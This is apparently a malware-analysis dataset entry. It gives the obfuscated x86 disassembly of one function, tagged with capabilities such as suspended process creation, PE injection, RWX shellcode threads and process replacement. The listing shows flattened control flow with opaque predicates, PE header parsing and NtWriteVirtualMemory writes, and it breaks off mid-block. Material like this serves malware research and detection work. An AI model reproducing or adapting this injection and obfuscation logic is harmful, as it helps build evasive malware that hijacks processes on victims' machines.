Function at 0x10007fb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x154
mov eax, dword [0x1006b400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
add edx, 0x5f9d5cc8
sub edx, 1
sub edx, 0x5f9d5cc8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x156], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x155], al
mov dword [ebp - 0x15c], 0xb5a50b95
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x160], eax
sub eax, 0x8197b6fc
je 0x1000e8f5
jmp 0x1000802b
mov eax, dword [ebp - 0x160]
sub eax, 0x81bbe9be
je 0x1000e741
jmp 0x10008041
mov eax, dword [ebp - 0x160]
sub eax, 0x823b9022
je 0x1000a284
jmp 0x10008057
mov eax, dword [ebp - 0x160]
sub eax, 0x823fd686
je 0x1000a186
jmp 0x1000806d
mov eax, dword [ebp - 0x160]
sub eax, 0x82ba6176
je 0x1000e13c
jmp 0x10008083
mov eax, dword [ebp - 0x160]
sub eax, 0x831c8cab
je 0x1000dde6
jmp 0x10008099
mov eax, dword [ebp - 0x160]
sub eax, 0x83b26d7f
je 0x1000e4e5
jmp 0x100080af
mov eax, dword [ebp - 0x160]
sub eax, 0x843397da
je 0x1000c159
jmp 0x100080c5
mov eax, dword [ebp - 0x160]
sub eax, 0x84349141
je 0x1000ec91
jmp 0x100080db
mov eax, dword [ebp - 0x160]
sub eax, 0x8538eb2e
je 0x1000a403
jmp 0x100080f1
mov eax, dword [ebp - 0x160]
sub eax, 0x855a3b69
je 0x1000adba
jmp 0x10008107
mov eax, dword [ebp - 0x160]
sub eax, 0x87e0b441
je 0x1000cb20
jmp 0x1000811d
mov eax, dword [ebp - 0x160]
sub eax, 0x88c2485c
je 0x1000c7df
jmp 0x10008133
mov eax, dword [ebp - 0x160]
sub eax, 0x88c7c553
je 0x1000ecb8
jmp 0x10008149
mov eax, dword [ebp - 0x160]
sub eax, 0x893852da
je 0x1000a90e
jmp 0x1000815f
mov eax, dword [ebp - 0x160]
sub eax, 0x89af7d8a
je 0x1000c2ff
jmp 0x10008175
mov eax, dword [ebp - 0x160]
sub eax, 0x8abecd67
je 0x1000e952
jmp 0x1000818b
mov eax, dword [ebp - 0x160]
sub eax, 0x8c15fa56
je 0x1000c6f7
jmp 0x100081a1
mov eax, dword [ebp - 0x160]
sub eax, 0x8c314653
je 0x1000c8f8
jmp 0x100081b7
mov eax, dword [ebp - 0x160]
sub eax, 0x8c4c578d
je 0x1000d1d8
jmp 0x100081cd
mov eax, dword [ebp - 0x160]
sub eax, 0x8cc84c46
je 0x1000aff1
jmp 0x100081e3
mov eax, dword [ebp - 0x160]
sub eax, 0x8d9753a9
je 0x1000dd90
jmp 0x100081f9
mov eax, dword [ebp - 0x160]
sub eax, 0x8eb26f81
je 0x1000e931
jmp 0x1000820f
mov eax, dword [ebp - 0x160]
sub eax, 0x8f49d2ae
je 0x1000ea7b
jmp 0x10008225
mov eax, dword [ebp - 0x160]
sub eax, 0x91015c19
je 0x1000b887
jmp 0x1000823b
mov eax, dword [ebp - 0x160]
sub eax, 0x9308f4fe
je 0x1000b9ef
jmp 0x10008251
mov eax, dword [ebp - 0x160]
sub eax, 0x938505c6
je 0x1000c77c
jmp 0x10008267
mov eax, dword [ebp - 0x160]
sub eax, 0x946ac964
je 0x10009ed6
jmp 0x1000827d
mov eax, dword [ebp - 0x160]
sub eax, 0x9548e0ae
je 0x1000d89e
jmp 0x10008293
mov eax, dword [ebp - 0x160]
sub eax, 0x95652692
je 0x10009f27
jmp 0x100082a9
mov eax, dword [ebp - 0x160]
sub eax, 0x97cf35e0
je 0x1000bc76
jmp 0x100082bf
mov eax, dword [ebp - 0x160]
sub eax, 0x98656de4
je 0x1000c12b
jmp 0x100082d5
mov eax, dword [ebp - 0x160]
sub eax, 0x98ca6fee
je 0x1000ac6d
jmp 0x100082eb
mov eax, dword [ebp - 0x160]
sub eax, 0x98d89bad
je 0x1000c01d
jmp 0x10008301
mov eax, dword [ebp - 0x160]
sub eax, 0x99f89a03
je 0x1000a029
jmp 0x10008317
mov eax, dword [ebp - 0x160]
sub eax, 0x9b739808
je 0x1000be4a
jmp 0x1000832d
mov eax, dword [ebp - 0x160]
sub eax, 0x9bb5651b
je 0x1000cc42
jmp 0x10008343
mov eax, dword [ebp - 0x160]
sub eax, 0x9c15eabc
je 0x1000dd22
jmp 0x10008359
mov eax, dword [ebp - 0x160]
sub eax, 0x9d7db66c
je 0x1000d04f
jmp 0x1000836f
mov eax, dword [ebp - 0x160]
sub eax, 0x9e21716c
je 0x1000b606
jmp 0x10008385
mov eax, dword [ebp - 0x160]
sub eax, 0x9fd9a00a
je 0x1000ba40
jmp 0x1000839b
mov eax, dword [ebp - 0x160]
sub eax, 0xa0015bd0
je 0x1000ccb8
jmp 0x100083b1
mov eax, dword [ebp - 0x160]
sub eax, 0xa041f0b8
je 0x1000a165
jmp 0x100083c7
mov eax, dword [ebp - 0x160]
sub eax, 0xa10d6f92
je 0x1000d477
jmp 0x100083dd
mov eax, dword [ebp - 0x160]
sub eax, 0xa18ce05e
je 0x1000bb6a
jmp 0x100083f3
mov eax, dword [ebp - 0x160]
sub eax, 0xa19417ba
je 0x1000e84d
jmp 0x10008409
mov eax, dword [ebp - 0x160]
sub eax, 0xa1f3af45
je 0x1000cd2e
jmp 0x1000841f
mov eax, dword [ebp - 0x160]
sub eax, 0xa21cb49f
je 0x1000a275
jmp 0x10008435
mov eax, dword [ebp - 0x160]
sub eax, 0xa274d5fc
je 0x1000eb61
jmp 0x1000844b
mov eax, dword [ebp - 0x160]
sub eax, 0xa30d6880
je 0x1000ebe8
jmp 0x10008461
mov eax, dword [ebp - 0x160]
sub eax, 0xa4c28eca
je 0x1000ebd3
jmp 0x10008477
mov eax, dword [ebp - 0x160]
sub eax, 0xa54915d2
je 0x1000e9ab
jmp 0x1000848d
mov eax, dword [ebp - 0x160]
sub eax, 0xa5aa5a2c
je 0x1000c76d
jmp 0x100084a3
mov eax, dword [ebp - 0x160]
sub eax, 0xa7916a22
je 0x1000b48d
jmp 0x100084b9
mov eax, dword [ebp - 0x160]
sub eax, 0xa7e056aa
je 0x1000b4f3
jmp 0x100084cf
mov eax, dword [ebp - 0x160]
sub eax, 0xa8e06876
je 0x1000ece5
jmp 0x100084e5
mov eax, dword [ebp - 0x160]
sub eax, 0xa93c3f97
je 0x10009abb
jmp 0x100084fb
mov eax, dword [ebp - 0x160]
sub eax, 0xa9dd4839
je 0x1000dfa0
jmp 0x10008511
mov eax, dword [ebp - 0x160]
sub eax, 0xac092454
je 0x1000e86b
jmp 0x10008527
mov eax, dword [ebp - 0x160]
sub eax, 0xad9e6b64
je 0x1000a114
jmp 0x1000853d
mov eax, dword [ebp - 0x160]
sub eax, 0xadc622e3
je 0x1000a616
jmp 0x10008553
mov eax, dword [ebp - 0x160]
sub eax, 0xaea2948b
je 0x1000a2d5
jmp 0x10008569
mov eax, dword [ebp - 0x160]
sub eax, 0xaee4d735
je 0x1000b13f
jmp 0x1000857f
mov eax, dword [ebp - 0x160]
sub eax, 0xaf880400
je 0x1000e5e2
jmp 0x10008595
mov eax, dword [ebp - 0x160]
sub eax, 0xafa61749
je 0x10009f0a
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xac092454
mov ecx, 0xf08a64fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xdc]
add ecx, 0xb1c552a6
add ecx, eax
sub ecx, 0xb1c552a6
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0xafa61749
jmp 0x1000ee69
mov eax, dword [ebp - 0xd4]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xcd], al
mov dword [ebp - 0x15c], 0x4972810d
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc711686f
mov ecx, 0xe69fa61f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
mov edx, eax
add edx, 0xc33e035a
sub edx, 1
sub edx, 0xc33e035a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc711686f
mov ecx, 0xa041f0b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dl, byte [ebp - 0xcd]
mov eax, 0x831c8cab
mov ecx, 0x823fd686
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48a335a
mov ecx, 0x4db3df2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x823b9022
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
mov edx, eax
add edx, 0x5bff2c19
sub edx, 1
sub edx, 0x5bff2c19
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd6ad453
mov ecx, 0xaea2948b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x144]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10010b10
add esp, 0xc
mov eax, dword [ebp - 0x140]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10010b10
add esp, 0xc
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0xc8], eax
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd6ad453
mov ecx, 0xcba2bf9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0x13c]
mov al, byte [eax]
mov byte [ebp - 0xc2], al
mov dword [ebp - 0x15c], 0xee616083
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
mov edx, eax
add edx, 0xff59efc
sub edx, 1
sub edx, 0xff59efc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x712cd2c6
mov ecx, 0xb94758b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0xc0]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb9], al
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
mov edx, eax
add edx, 0xdfb0959e
sub edx, 1
sub edx, 0xdfb0959e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x618b528
mov ecx, 0xf8f99869
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
sub edx, 0xaa149c57
sub edx, 1
add edx, 0xaa149c57
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x64ee1380
mov ecx, 0xd95d859a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x64ee1380
mov ecx, 0xe890ac4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
mov edx, eax
sub edx, 0xbbe900ed
sub edx, 1
add edx, 0xbbe900ed
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e6980b8
mov ecx, 0xc5b4ad6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
add edx, 0xab85f838
sub edx, 1
sub edx, 0xab85f838
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa54915d2
mov ecx, 0xd451e996
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x46797337
mov ecx, 0x5a9980f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov ecx, dword [ebp - 0x98]
sub ecx, 0x850cce09
add ecx, 1
add ecx, 0x850cce09
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0x1cf642b1
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
mov edx, eax
add edx, 0x2dd573ce
sub edx, 1
sub edx, 0x2dd573ce
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf06bf540
mov ecx, 0xc0289d67
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x51cd4a27
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
mov edx, eax
add edx, 0x512303b9
sub edx, 1
sub edx, 0x512303b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61dd97a3
mov ecx, 0x9fd9a00a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0x7c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x80]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100076b0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0x75], al
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61dd97a3
mov ecx, 0x190382dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dl, byte [ebp - 0x75]
mov eax, 0xf85141
mov ecx, 0x2652a600
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0xb212ba87
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a54b91a
mov ecx, 0xc53594c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x24f83f84
mov ecx, 0xf7a896f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
sub ecx, 0x49604fa4
add ecx, 1
add ecx, 0x49604fa4
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0x843397da
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
add edx, 0xc0dc0d2c
sub edx, 1
sub edx, 0xc0dc0d2c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb74d7e3d
mov ecx, 0xc6f2416d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x4b6976f
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
sub edx, 0xb9bc6f4f
sub edx, 1
add edx, 0xb9bc6f4f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa30d6880
mov ecx, 0xa5aa5a2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x938505c6
jmp 0x1000ee69
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x15c], 0xdf6261b4
jmp 0x1000ee69
mov eax, dword [ebp - 0x50]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x49], al
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
add edx, 0xcfe1fe06
sub edx, 1
sub edx, 0xcfe1fe06
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe135505
mov ecx, 0x38bc3fd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
add ecx, 0x4d94c287
add ecx, 8
sub ecx, 0x4d94c287
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0x92aaeae2
sub ecx, eax
sub ecx, 0x92aaeae2
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov dword [eax], 0
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
sub edx, 0xd24e03f1
sub edx, 1
add edx, 0xd24e03f1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x54ce47d9
mov ecx, 0xeafb9350
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x15c], 0xfa9050b4
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
add edx, 0x9d58ab34
sub edx, 1
sub edx, 0x9d58ab34
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x12f74c8c
mov ecx, 0xa0015bd0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
sub edx, 0x293e9f45
sub edx, 1
add edx, 0x293e9f45
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x84349141
mov ecx, 0xa1f3af45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub eax, 0xca697096
add eax, ecx
add eax, 0xca697096
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xfc]
mov edx, dword [edx]
movzx ecx, word [ecx + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, ecx
xor edx, esi
and edx, ecx
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
sub edx, 0x2a3405
sub edx, 1
add edx, 0x2a3405
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x84349141
mov ecx, 0xc100781d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x642abc88
mov ecx, 0xfbfb5378
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
sub edx, 0x9760e9b0
sub edx, 1
add edx, 0x9760e9b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5a2aedf0
mov ecx, 0xc37f8cd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x1cf5ac86
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0xf2b472c5
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb53ffe3a
mov ecx, 0x8d9753a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x782c3ad0
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
mov edx, ecx
